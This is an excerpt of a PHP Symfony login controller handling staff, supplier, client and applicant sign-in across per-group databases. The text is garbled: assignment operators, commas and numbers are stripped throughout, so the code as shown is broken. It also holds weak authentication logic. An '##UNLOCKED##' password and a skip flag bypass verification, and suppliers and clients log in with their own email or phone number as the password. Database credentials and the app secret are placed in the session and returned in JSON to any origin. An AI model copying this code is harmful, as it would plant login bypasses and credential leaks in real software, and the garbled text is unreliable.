  3792.                 } else {
  3793.                     $data = array();
  3794.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3795.                         array(
  3796.                             'email' => $request->request->get('username')
  3797.                         )
  3798.                     );
  3799.                     if (!$user) {
  3800.                         $message "Wrong Email";
  3801.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3802.                             return new JsonResponse(array(
  3803.                                 'uid' => $session->get(UserConstants::USER_ID),
  3804.                                 'session' => $session,
  3805.                                 'success' => false,
  3806.                                 'errorStr' => $message,
  3807.                                 'session_data' => [],
  3808.                             ));
  3809.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3810.                             //                    return $response;
  3811.                         }
  3812.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3813.                             "message" => $message,
  3814.                             'page_title' => "Login",
  3815.                             'gocList' => $gocDataList,
  3816.                             'gocId' => $gocId
  3817.                         ));
  3818.                     }
  3819.                     if ($user) {
  3820.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  3821.                             $message "Sorry, Your Account is Deactivated";
  3822.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3823.                                 return new JsonResponse(array(
  3824.                                     'uid' => $session->get(UserConstants::USER_ID),
  3825.                                     'session' => $session,
  3826.                                     'success' => false,
  3827.                                     'errorStr' => $message,
  3828.                                     'session_data' => [],
  3829.                                 ));
  3830.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3831.                                 //                    return $response;
  3832.                             }
  3833.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3834.                                 "message" => $message,
  3835.                                 'page_title' => "Login",
  3836.                                 'gocList' => $gocDataList,
  3837.                                 'gocId' => $gocId
  3838.                             ));
  3839.                         }
  3840.                     }
  3841.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  3842.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  3843.                         $message "Wrong Email/Password";
  3844.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3845.                             return new JsonResponse(array(
  3846.                                 'uid' => $session->get(UserConstants::USER_ID),
  3847.                                 'session' => $session,
  3848.                                 'success' => false,
  3849.                                 'errorStr' => $message,
  3850.                                 'session_data' => [],
  3851.                             ));
  3852.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3853.                             //                    return $response;
  3854.                         }
  3855.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3856.                             "message" => $message,
  3857.                             'page_title' => "Login",
  3858.                             'gocList' => $gocDataList,
  3859.                             'gocId' => $gocId
  3860.                         ));
  3861.                     }
  3862.                 }
  3863.                 if ($user) {
  3864.                     //set cookie
  3865.                     if ($remember_me == 1)
  3866.                         $session->set('REMEMBERME'1);
  3867.                     else
  3868.                         $session->set('REMEMBERME'0);
  3869.                     $userType $user->getUserType();
  3870.                     // Entity User
  3871.                     $userId $user->getUserId();
  3872.                     $session->set(UserConstants::USER_ID$user->getUserId());
  3873.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  3874.                     $session->set('firstLogin'$firstLogin);
  3875.                     $session->set(UserConstants::USER_TYPE$userType);
  3876.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  3877.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  3878.                     $session->set('oAuthImage'$user->getOAuthImage());
  3879.                     $session->set(UserConstants::USER_NAME$user->getName());
  3880.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3881.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  3882.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  3883.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  3884.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  3885.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  3886.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  3887.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  3888.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  3889.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  3890.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  3891.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  3892.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  3893.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3894.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3895.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3896.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3897.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3898.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3899.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  3900.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  3901.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  3902.                     $route_list_array = [];
  3903.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  3904.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  3905.                     $loginID EntityUserM::addEntityUserLoginLog(
  3906.                         $em_goc,
  3907.                         $userId,
  3908.                         $request->server->get("REMOTE_ADDR"),
  3909.                         0,
  3910.                         $deviceId,
  3911.                         $oAuthData['token'],
  3912.                         $oAuthData['type']
  3913.                     );
  3914.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  3915.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3916.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3917.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3918.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3919.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3920.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3921.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  3922.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3923.                     $appIdList json_decode($user->getUserAppIdList());
  3924.                     if ($appIdList == null)
  3925.                         $appIdList = [];
  3926.                     $companyIdListByAppId = [];
  3927.                     $companyNameListByAppId = [];
  3928.                     $companyImageListByAppId = [];
  3929.                     if (!in_array($user->getUserAppId(), $appIdList))
  3930.                         $appIdList[] = $user->getUserAppId();
  3931.                     foreach ($appIdList as $currAppId) {
  3932.                         if ($currAppId == $user->getUserAppId()) {
  3933.                             foreach ($company_id_list as $index_company => $company_id) {
  3934.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3935.                                 $app_company_index $currAppId '_' $company_id;
  3936.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3937.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3938.                             }
  3939.                         } else {
  3940.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3941.                                 $this->getDoctrine()->getManager('company_group'),
  3942.                                 $gocEnabled,
  3943.                                 $currAppId
  3944.                             );
  3945.                             if (!empty($dataToConnect)) {
  3946.                                 $connector $this->container->get('application_connector');
  3947.                                 $connector->resetConnection(
  3948.                                     'default',
  3949.                                     $dataToConnect['dbName'],
  3950.                                     $dataToConnect['dbUser'],
  3951.                                     $dataToConnect['dbPass'],
  3952.                                     $dataToConnect['dbHost'],
  3953.                                     $reset true
  3954.                                 );
  3955.                                 $em $this->getDoctrine()->getManager();
  3956.                                 $companyList Company::getCompanyListWithImage($em);
  3957.                                 foreach ($companyList as $c => $dta) {
  3958.                                     //                                $company_id_list[]=$c;
  3959.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3960.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3961.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3962.                                     $app_company_index $currAppId '_' $c;
  3963.                                     $company_locale $companyList[$c]['locale'];
  3964.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3965.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3966.                                 }
  3967.                             }
  3968.                         }
  3969.                     }
  3970.                     $session->set('appIdList'$appIdList);
  3971.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  3972.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  3973.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  3974.                     $branchIdList json_decode($user->getUserBranchIdList());
  3975.                     $branchId $user->getUserBranchId();
  3976.                     $session->set('branchIdList'$branchIdList);
  3977.                     $session->set('branchId'$branchId);
  3978.                     if ($user->getAllModuleAccessFlag() == 1)
  3979.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3980.                     else
  3981.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3982.                     $session_data = array(
  3983.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  3984.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  3985.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  3986.                         'firstLogin' => $firstLogin,
  3987.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  3988.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  3989.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  3990.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  3991.                         'oAuthImage' => $session->get('oAuthImage'),
  3992.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  3993.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  3994.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  3995.                         UserConstants::USER_COMPANY_LOCALE => $session->get(UserConstants::USER_COMPANY_LOCALE),
  3996.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  3997.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  3998.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  3999.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  4000.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  4001.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  4002.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  4003.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  4004.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4005.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4006.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4007.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  4008.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  4009.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  4010.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  4011.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  4012.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  4013.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  4014.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4015.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4016.                         //new
  4017.                         'appIdList' => $session->get('appIdList'),
  4018.                         'branchIdList' => $session->get('branchIdList'null),
  4019.                         'branchId' => $session->get('branchId'null),
  4020.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  4021.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  4022.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  4023.                     );
  4024.                     $session_data $this->filterClientSessionData($session_data);
  4025.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4026.                     $token $tokenData['token'];
  4027.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4028.                         $session->set('remoteVerified'1);
  4029.                         $response = new JsonResponse(array(
  4030.                             'token' => $token,
  4031.                             'uid' => $session->get(UserConstants::USER_ID),
  4032.                             'session' => $session,
  4033.                             'success' => true,
  4034.                             'session_data' => $session_data,
  4035.                         ));
  4036.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4037.                         return $response;
  4038.                     }
  4039.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  4040.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  4041.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  4042.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  4043.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4044.                                 return $this->redirect($red);
  4045.                             }
  4046.                         } else {
  4047.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4048.                         }
  4049.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  4050.                         return $this->redirectToRoute("dashboard");
  4051.                     else
  4052.                         return $this->redirectToRoute($user->getDefaultRoute());
  4053. //                    if ($request->server->has("HTTP_REFERER")) {
  4054. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  4055. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  4056. //                        }
  4057. //                    }
  4058. //
  4059. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4060. //                    if ($request->request->has('referer_path')) {
  4061. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4062. //                            return $this->redirect($request->request->get('referer_path'));
  4063. //                        }
  4064. //                    }
  4065.                     //                    if($request->request->has('gocId')
  4066.                 }
  4067.             } else {
  4068.                 if ($specialLogin == 1) {
  4069.                 } else if (strpos($uname'SID-') !== false) {
  4070.                     $specialLogin 1;
  4071.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  4072.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4073.                     //*** supplier id will be last 6 DIgits
  4074.                     $str_app_id_supplier_id substr($uname4);
  4075.                     //                if((1*$str_app_id_supplier_id)>1000000)
  4076.                     {
  4077.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  4078.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  4079.                     }
  4080.                     //                else
  4081.                     //                {
  4082.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  4083.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  4084.                     //                }
  4085.                 } else if (strpos($uname'CID-') !== false) {
  4086.                     $specialLogin 1;
  4087.                     $userType UserConstants::USER_TYPE_CLIENT;
  4088.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4089.                     //*** supplier id will be last 6 DIgits
  4090.                     $str_app_id_client_id substr($uname4);
  4091.                     $clientId = ($str_app_id_client_id) % 1000000;
  4092.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  4093.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  4094.                     $specialLogin 1;
  4095.                     $userType UserConstants::USER_TYPE_APPLICANT;
  4096.                     $isApplicantLogin 1;
  4097.                     if ($oAuthData) {
  4098.                         $email $oAuthData['email'];
  4099.                         $userName $email;
  4100. //                        $userName = explode('@', $email)[0];
  4101. //                        $userName = str_split($userName);
  4102. //                        $userNameArr = $userName;
  4103.                     } else if (strpos($uname'APP-') !== false) {
  4104.                         $email $uname;
  4105.                         $userName substr($email4);
  4106. //                        $userNameArr = str_split($userName);
  4107. //                        $generatedIdFromAscii = 0;
  4108. //                        foreach ($userNameArr as $item) {
  4109. //                            $generatedIdFromAscii += ord($item);
  4110. //                        }
  4111. //
  4112. //                        $str_app_id_client_id = $generatedIdFromAscii;
  4113. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  4114. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  4115.                     } else {
  4116.                         $email $uname;
  4117.                         $userName $uname;
  4118. //                            $userName = substr($email, 4);
  4119. //                        $userName = explode('@', $email)[0];
  4120. //                            $userNameArr = str_split($userName);
  4121.                     }
  4122.                 }
  4123.                 $data = array();
  4124.                 if ($hasGoc == 1) {
  4125.                     if ($gocId != && $gocId != "") {
  4126. //                        $gocId = $request->request->get('gocId');
  4127.                         $gocDbName $gocDataList[$gocId]['dbName'];
  4128.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  4129.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  4130.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  4131.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  4132.                         $connector $this->container->get('application_connector');
  4133.                         $connector->resetConnection(
  4134.                             'default',
  4135.                             $gocDataList[$gocId]['dbName'],
  4136.                             $gocDataList[$gocId]['dbUser'],
  4137.                             $gocDataList[$gocId]['dbPass'],
  4138.                             $gocDataList[$gocId]['dbHost'],
  4139.                             $reset true
  4140.                         );
  4141.                     } else if ($appId != && $appId != "") {
  4142.                         $gocId $request->request->get('gocId');
  4143.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  4144.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  4145.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  4146.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  4147.                         $gocId $gocDataListByAppId[$appId]['id'];
  4148.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  4149.                         $connector $this->container->get('application_connector');
  4150.                         $connector->resetConnection(
  4151.                             'default',
  4152.                             $gocDbName,
  4153.                             $gocDbUser,
  4154.                             $gocDbPass,
  4155.                             $gocDbHost,
  4156.                             $reset true
  4157.                         );
  4158.                     }
  4159.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  4160.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  4161.                     if ($gocId != && $gocId != "") {
  4162.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  4163.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  4164.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  4165.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  4166.                         $connector $this->container->get('application_connector');
  4167.                         $connector->resetConnection(
  4168.                             'default',
  4169.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  4170.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  4171.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  4172.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  4173.                             $reset true
  4174.                         );
  4175.                     }
  4176.                 }
  4177.                 $session $request->getSession();
  4178.                 $em $this->getDoctrine()->getManager();
  4179.                 //will work on later on supplier login
  4180.                 if ($specialLogin == 1) {
  4181.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  4182.                         //validate supplier
  4183.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  4184.                             ->findOneBy(
  4185.                                 array(
  4186.                                     'supplierId' => $supplierId
  4187.                                 )
  4188.                             );
  4189.                         if (!$supplier) {
  4190.                             $message "Wrong UserName";
  4191.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4192.                                 return new JsonResponse(array(
  4193.                                     'uid' => $session->get(UserConstants::USER_ID),
  4194.                                     'session' => $session,
  4195.                                     'success' => false,
  4196.                                     'errorStr' => $message,
  4197.                                     'session_data' => [],
  4198.                                 ));
  4199.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4200.                                 //                    return $response;
  4201.                             }
  4202.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4203.                                 "message" => $message,
  4204.                                 'page_title' => "Login",
  4205.                                 'gocList' => $gocDataList,
  4206.                                 'gocId' => $gocId
  4207.                             ));
  4208.                         }
  4209.                         if ($supplier) {
  4210.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  4211.                                 $message "Sorry, Your Account is Deactivated";
  4212.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4213.                                     return new JsonResponse(array(
  4214.                                         'uid' => $session->get(UserConstants::USER_ID),
  4215.                                         'session' => $session,
  4216.                                         'success' => false,
  4217.                                         'errorStr' => $message,
  4218.                                         'session_data' => [],
  4219.                                     ));
  4220.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4221.                                     //                    return $response;
  4222.                                 }
  4223.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4224.                                     "message" => $message,
  4225.                                     'page_title' => "Login",
  4226.                                     'gocList' => $gocDataList,
  4227.                                     'gocId' => $gocId
  4228.                                 ));
  4229.                             }
  4230.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  4231.                                 //pass ok proceed
  4232.                             } else {
  4233.                                 if ($skipPassword == 1) {
  4234.                                 } else {
  4235.                                     $message "Wrong Email/Password";
  4236.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4237.                                         return new JsonResponse(array(
  4238.                                             'uid' => $session->get(UserConstants::USER_ID),
  4239.                                             'session' => $session,
  4240.                                             'success' => false,
  4241.                                             'errorStr' => $message,
  4242.                                             'session_data' => [],
  4243.                                         ));
  4244.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4245.                                         //                    return $response;
  4246.                                     }
  4247.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4248.                                         "message" => $message,
  4249.                                         'page_title' => "Login",
  4250.                                         'gocList' => $gocDataList,
  4251.                                         'gocId' => $gocId
  4252.                                     ));
  4253.                                 }
  4254.                             }
  4255.                             $jd = [$supplier->getCompanyId()];
  4256.                             if ($jd != null && $jd != '' && $jd != [])
  4257.                                 $company_id_list $jd;
  4258.                             else
  4259.                                 $company_id_list = [1];
  4260.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4261.                             foreach ($company_id_list as $c) {
  4262.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4263.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4264.                             }
  4265.                             $user $supplier;
  4266.                         }
  4267.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  4268.                         //validate supplier
  4269.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  4270.                             ->findOneBy(
  4271.                                 array(
  4272.                                     'clientId' => $clientId
  4273.                                 )
  4274.                             );
  4275.                         if (!$client) {
  4276.                             $message "Wrong UserName";
  4277.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4278.                                 return new JsonResponse(array(
  4279.                                     'uid' => $session->get(UserConstants::USER_ID),
  4280.                                     'session' => $session,
  4281.                                     'success' => false,
  4282.                                     'errorStr' => $message,
  4283.                                     'session_data' => [],
  4284.                                 ));
  4285.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4286.                                 //                    return $response;
  4287.                             }
  4288.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4289.                                 "message" => $message,
  4290.                                 'page_title' => "Login",
  4291.                                 'gocList' => $gocDataList,
  4292.                                 'gocId' => $gocId
  4293.                             ));
  4294.                         }
  4295.                         if ($client) {
  4296.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  4297.                                 $message "Sorry, Your Account is Deactivated";
  4298.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4299.                                     return new JsonResponse(array(
  4300.                                         'uid' => $session->get(UserConstants::USER_ID),
  4301.                                         'session' => $session,
  4302.                                         'success' => false,
  4303.                                         'errorStr' => $message,
  4304.                                         'session_data' => [],
  4305.                                     ));
  4306.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4307.                                     //                    return $response;
  4308.                                 }
  4309.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4310.                                     "message" => $message,
  4311.                                     'page_title' => "Login",
  4312.                                     'gocList' => $gocDataList,
  4313.                                     'gocId' => $gocId
  4314.                                 ));
  4315.                             }
  4316.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  4317.                                 //pass ok proceed
  4318.                             } else {
  4319.                                 if ($skipPassword == 1) {
  4320.                                 } else {
  4321.                                     $message "Wrong Email/Password";
  4322.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4323.                                         return new JsonResponse(array(
  4324.                                             'uid' => $session->get(UserConstants::USER_ID),
  4325.                                             'session' => $session,
  4326.                                             'success' => false,
  4327.                                             'errorStr' => $message,
  4328.                                             'session_data' => [],
  4329.                                         ));
  4330.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4331.                                         //                    return $response;
  4332.                                     }
  4333.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4334.                                         "message" => $message,
  4335.                                         'page_title' => "Login",
  4336.                                         'gocList' => $gocDataList,
  4337.                                         'gocId' => $gocId
  4338.                                     ));
  4339.                                 }
  4340.                             }
  4341.                             $jd = [$client->getCompanyId()];
  4342.                             if ($jd != null && $jd != '' && $jd != [])
  4343.                                 $company_id_list $jd;
  4344.                             else
  4345.                                 $company_id_list = [1];
  4346.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4347.                             foreach ($company_id_list as $c) {
  4348.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4349.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4350.                             }
  4351.                             $user $client;
  4352.                         }
  4353.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  4354.                         $em $this->getDoctrine()->getManager('company_group');
  4355.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  4356.                         if ($oAuthData) {
  4357.                             $oAuthEmail $oAuthData['email'];
  4358.                             $oAuthUniqueId $oAuthData['uniqueId'];
  4359.                             $user $applicantRepo->findOneBy(['email' => $oAuthEmail]);
  4360.                             if (!$user)
  4361.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  4362.                         } else {
  4363.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  4364.                             if (!$user)
  4365.                                 $user $applicantRepo->findOneBy(['email' => $email]);
  4366.                             if (!$user)
  4367.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  4368.                         }
  4369.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  4370. //                        if($systemType=='_BUDDYBEE_')
  4371. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  4372.                         if (!$user) {
  4373.                             $message "We could not find your username or email";
  4374.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4375.                                 return new JsonResponse(array(
  4376.                                     'uid' => $session->get(UserConstants::USER_ID),
  4377.                                     'session' => $session,
  4378.                                     'success' => false,
  4379.                                     'errorStr' => $message,
  4380.                                     'session_data' => [],
  4381.                                 ));
  4382.                             }
  4383.                             if ($systemType == '_BUDDYBEE_')
  4384.                                 return $this->redirectToRoute("applicant_login", [
  4385.                                     "message" => $message,
  4386.                                     "errorField" => 'username',
  4387.                                 ]);
  4388.                             else if ($systemType == '_CENTRAL_')
  4389.                                 return $this->redirectToRoute("central_login", [
  4390.                                     "message" => $message,
  4391.                                     "errorField" => 'username',
  4392.                                 ]);
  4393.                             else if ($systemType == '_SOPHIA_')
  4394.                                 return $this->redirectToRoute("sophia_login", [
  4395.                                     "message" => $message,
  4396.                                     "errorField" => 'username',
  4397.                                 ]);
  4398.                             else
  4399.                                 return $this->render($redirect_login_page_twig, array(
  4400.                                     "message" => $message,
  4401.                                     'page_title' => "Login",
  4402.                                     'gocList' => $gocDataList,
  4403.                                     'gocId' => $gocId
  4404.                                 ));
  4405.                         }
  4406.                         if ($user) {
  4407.                             if ($oAuthData) {
  4408.                                 // user passed
  4409.                             } else {
